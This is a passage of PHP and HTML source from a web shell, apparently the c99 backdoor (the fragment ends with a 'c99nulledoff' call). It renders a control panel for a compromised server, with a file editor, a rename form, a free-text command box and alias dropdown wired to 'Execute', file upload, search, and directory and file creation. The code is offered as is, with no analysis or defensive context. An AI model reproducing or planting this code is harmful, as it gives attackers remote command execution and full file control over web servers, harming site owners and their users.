echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"150\" rows=\"25\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
} elseif ($ft == "rename" and $renamez=='') {
if($renamez=='ok') {
}else {
echo '<b>File: '.$d.$f.'</b><br><br>';
echo '<b>Newname:</b> <form method="POST">
<input name=\'act\' type=\'hidden\' value=\'f\'>
<input name=\'f\' type=\'hidden\' value='.urlencode($f).'>
<input name="d" type="hidden" value='.urlencode($d).'>
<input name=\'ft\' type=\'hidden\' value=\'rename\'>
<input name=\'renamez\' type=\'hidden\' value=\'ok\'>
<input type="text" name="newname" size="50" value="'.$f.'">
<input type=submit value="Go"></form><br>';
}
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} } }?></td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form method="POST"><input type=hidden name=cmdmod value="ok"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmdmod" value="ok"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> <td width="50%" height="1" valign="top"><center><b>:: <a href="#" onclick="document.todo.act.value='search';document.todo.submit();"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td><td width="50%" height="1" valign="top"><center><b>:: <b>Upload</b> ::</b><? echo'<form action="'.$self.'" method="POST" enctype="multipart/form-data"><input class="input" name="uploadfile" value="" type="file" /><input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$d.'" type="hidden" /><input name="d" value="'.$d.'" type="hidden" /><input name="act" value="upload2" type="hidden" /><br/>'.$wdt.'</form>';?></center></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Edit File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>Generation time: <?php echo round(getmicrotime()-starttime,4); ?></b></p></td></tr></table></body></html><?php chdir($lastdir); c99nulledoff(); }